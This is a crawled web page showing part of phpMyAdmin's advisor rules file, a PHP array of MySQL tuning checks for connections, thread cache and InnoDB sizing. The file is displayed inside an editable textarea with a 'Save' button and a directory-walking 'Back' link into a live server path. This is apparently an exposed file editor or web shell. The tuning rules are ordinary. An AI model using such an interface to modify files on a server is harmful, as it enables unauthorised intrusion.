        &#039;test&#039; =&gt; &#039;value &lt; 80&#039;,
        &#039;issue&#039; =&gt; __(&#039;Thread cache is not efficient.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;Increase {thread_cache_size}.&#039;),
        &#039;justification&#039; =&gt; __(&#039;Thread cache hitrate: %s%%, this value should be above 80%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Threads that are slow to launch&#039;,
        &#039;name&#039; =&gt; __(&#039;Threads that are slow to launch&#039;),
        &#039;precondition&#039; =&gt; &#039;slow_launch_time &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Slow_launch_threads&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 0&#039;,
        &#039;issue&#039; =&gt; __(&#039;There are too many threads that are slow to launch.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This generally happens in case of general system overload as it is pretty simple&#039;
            . &#039; operations. You might want to monitor your system load carefully.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;%s thread(s) took longer than %s seconds to start, it should be 0&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value, slow_launch_time&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Slow launch time&#039;,
        &#039;name&#039; =&gt; __(&#039;Slow launch time&#039;),
        &#039;formula&#039; =&gt; &#039;slow_launch_time&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 2&#039;,
        &#039;issue&#039; =&gt; __(&#039;Slow_launch_time is above 2s.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Set {slow_launch_time} to 1s or 2s to correctly count threads that are slow to launch.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;slow_launch_time is set to %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    // Connections
    [
        &#039;id&#039; =&gt; &#039;Percentage of used connections&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of used connections&#039;),
        &#039;formula&#039; =&gt; &#039;Max_used_connections / max_connections * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 80&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;The maximum amount of used connections is getting close to the value of {max_connections}.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(
            &#039;Increase {max_connections}, or decrease {wait_timeout} so that connections that do not&#039;
            . &#039; close database handlers properly get killed sooner.&#039;
            . &#039; Make sure the code closes database handlers properly.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Max_used_connections is at %s%% of max_connections, it should be below 80%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of aborted connections&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of aborted connections&#039;),
        &#039;formula&#039; =&gt; &#039;Aborted_connects / Connections * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many connections are aborted.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Connections are usually aborted when they cannot be authorized. &lt;a href=&quot;&#039;
            . &#039;https://www.percona.com/blog/2008/08/23/how-to-track-down-the-source-of-aborted_connects/&#039;
            . &#039;&quot;&gt;This article&lt;/a&gt; might help you track down the source.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;%s%% of all connections are aborted. This value should be below 1%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of aborted connections&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of aborted connections&#039;),
        &#039;formula&#039; =&gt; &#039;Aborted_connects / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many connections are aborted.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Connections are usually aborted when they cannot be authorized. &lt;a href=&quot;&#039;
            . &#039;https://www.percona.com/blog/2008/08/23/how-to-track-down-the-source-of-aborted_connects/&#039;
            . &#039;&quot;&gt;This article&lt;/a&gt; might help you track down the source.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Aborted connections rate is at %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of aborted clients&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of aborted clients&#039;),
        &#039;formula&#039; =&gt; &#039;Aborted_clients / Connections * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 2&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many clients are aborted.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Clients are usually aborted when they did not close their connection to MySQL properly.&#039;
            . &#039; This can be due to network issues or code not closing a database handler properly.&#039;
            . &#039; Check your network and code.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;%s%% of all clients are aborted. This value should be below 2%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of aborted clients&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of aborted clients&#039;),
        &#039;formula&#039; =&gt; &#039;Aborted_clients / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many clients are aborted.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Clients are usually aborted when they did not close their connection to MySQL properly.&#039;
            . &#039; This can be due to network issues or code not closing a database handler properly.&#039;
            . &#039; Check your network and code.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Aborted client rate is at %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    // InnoDB
    [
        &#039;id&#039; =&gt; &#039;Is InnoDB disabled?&#039;,
        &#039;name&#039; =&gt; __(&#039;Is InnoDB disabled?&#039;),
        &#039;precondition&#039; =&gt; &#039;PMA_MYSQL_INT_VERSION &lt; 50600&#039;,
        &#039;formula&#039; =&gt; &#039;have_innodb&#039;,
        &#039;test&#039; =&gt; &#039;value != &quot;YES&quot;&#039;,
        &#039;issue&#039; =&gt; __(&#039;You do not have InnoDB enabled.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;InnoDB is usually the better choice for table engines.&#039;),
        &#039;justification&#039; =&gt; __(&#039;have_innodb is set to \&#039;value\&#039;&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;InnoDB log size&#039;,
        &#039;name&#039; =&gt; __(&#039;InnoDB log size&#039;),
        &#039;precondition&#039; =&gt; &#039;innodb_buffer_pool_size &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;(innodb_log_file_size * innodb_log_files_in_group)/ innodb_buffer_pool_size * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 20 &amp;&amp; innodb_log_file_size / (1024 * 1024) &lt; 256&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;The InnoDB log file size is not an appropriate size, in relation to the InnoDB buffer pool.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(/* xgettext:no-php-format */
            &#039;Especially on a system with a lot of writes to InnoDB tables you should set&#039;
            . &#039; {innodb_log_file_size} to 25% of {innodb_buffer_pool_size}. However the bigger this value,&#039;
            . &#039; the longer the recovery time will be when database crashes, so this value should not be set&#039;
            . &#039; much higher than 256 MiB. Please note however that you cannot simply change the value of&#039;
            . &#039; this variable. You need to shutdown the server, remove the InnoDB log files, set the new&#039;
            . &#039; value in my.cnf, start the server, then check the error logs if everything went fine.&#039;
            . &#039; See also &lt;a href=&quot;&#039;
            . &#039;https://mysqldatabaseadministration.blogspot.com/2007/01/increase-innodblogfilesize-proper-way.html&#039;
            . &#039;&quot;&gt;this blog entry&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;Your InnoDB log size is at %s%% in relation to the InnoDB buffer pool size,&#039;
            . &#039; it should not be below 20%%&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Max InnoDB log size&#039;,
        &#039;name&#039; =&gt; __(&#039;Max InnoDB log size&#039;),
        &#039;precondition&#039; =&gt; &#039;innodb_buffer_pool_size &gt; 0 &amp;&amp; innodb_log_file_size / innodb_buffer_pool_size * 100 &lt; 30&#039;,
        &#039;formula&#039; =&gt; &#039;innodb_log_file_size / (1024 * 1024)&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 256&#039;,
        &#039;issue&#039; =&gt; __(&#039;The InnoDB log file size is inadequately large.&#039;),
        &#039;recommendation&#039; =&gt; __(/* xgettext:no-php-format */
            &#039;It is usually sufficient to set {innodb_log_file_size} to 25% of the size of&#039;
            . &#039; {innodb_buffer_pool_size}. A very big {innodb_log_file_size} slows down the recovery&#039;
            . &#039; time after a database crash considerably. See also &#039;
            . &#039;&lt;a href=&quot;https://www.percona.com/blog/2006/07/03/choosing-proper-innodb_log_file_size/&quot;&gt;&#039;
            . &#039;this Article&lt;/a&gt;. You need to shutdown the server, remove the InnoDB log files, set the&#039;
            . &#039; new value in my.cnf, start the server, then check the error logs&#039;
            . &#039; if everything went fine. See also &lt;a href=&quot;&#039;
            . &#039;https://mysqldatabaseadministration.blogspot.com/2007/01/increase-innodblogfilesize-proper-way.html&#039;
            . &#039;&quot;&gt;this blog entry&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Your absolute InnoDB log size is %s MiB&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;InnoDB buffer pool size&#039;,
        &#039;name&#039; =&gt; __(&#039;InnoDB buffer pool size&#039;),
        &#039;precondition&#039; =&gt; &#039;system_memory &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;innodb_buffer_pool_size / system_memory * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 60&#039;,
        &#039;issue&#039; =&gt; __(&#039;Your InnoDB buffer pool is fairly small.&#039;),
        &#039;recommendation&#039; =&gt; __(/* xgettext:no-php-format */
            &#039;The InnoDB buffer pool has a profound impact on performance for InnoDB tables.&#039;
            . &#039; Assign all your remaining memory to this buffer. For database servers that use solely InnoDB&#039;
            . &#039; as storage engine and have no other services (e.g. a web server) running, you may set this&#039;
            . &#039; as high as 80% of your available memory. If that is not the case, you need to carefully&#039;
            . &#039; assess the memory consumption of your other services and non-InnoDB-Tables and set this&#039;
            . &#039; variable accordingly. If it is set too high, your system will start swapping,&#039;
            . &#039; which decreases performance significantly. See also &#039;
            . &#039;&lt;a href=&quot;https://www.percona.com/blog/2007/11/03/choosing-innodb_buffer_pool_size/&quot;&gt;this article&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;You are currently using %s%% of your memory for the InnoDB buffer pool.&#039;
            . &#039; This rule fires if you are assigning less than 60%%, however this might be perfectly&#039;
            . &#039; adequate for your system if you don\&#039;t have much InnoDB tables&#039;
            . &#039; or other services running on the same machine.&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    // Other
    [
        &#039;id&#039; =&gt; &#039;MyISAM concurrent inserts&#039;,
        &#039;name&#039; =&gt; __(&#039;MyISAM concurrent inserts&#039;),
        &#039;formula&#039; =&gt; &#039;concurrent_insert&#039;,
        &#039;test&#039; =&gt; &#039;value === 0 || value === \&#039;NEVER\&#039;&#039;,
        &#039;issue&#039; =&gt; __(&#039;Enable {concurrent_insert} by setting it to 1&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Setting {concurrent_insert} to 1 reduces contention between&#039;
            . &#039; readers and writers for a given table. See also &#039;
            . &#039;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/concurrent-inserts.html&quot;&gt;MySQL Documentation&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;concurrent_insert is set to 0&#039;),
    ],
];
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Flibraries'>🔙 Back</a></p>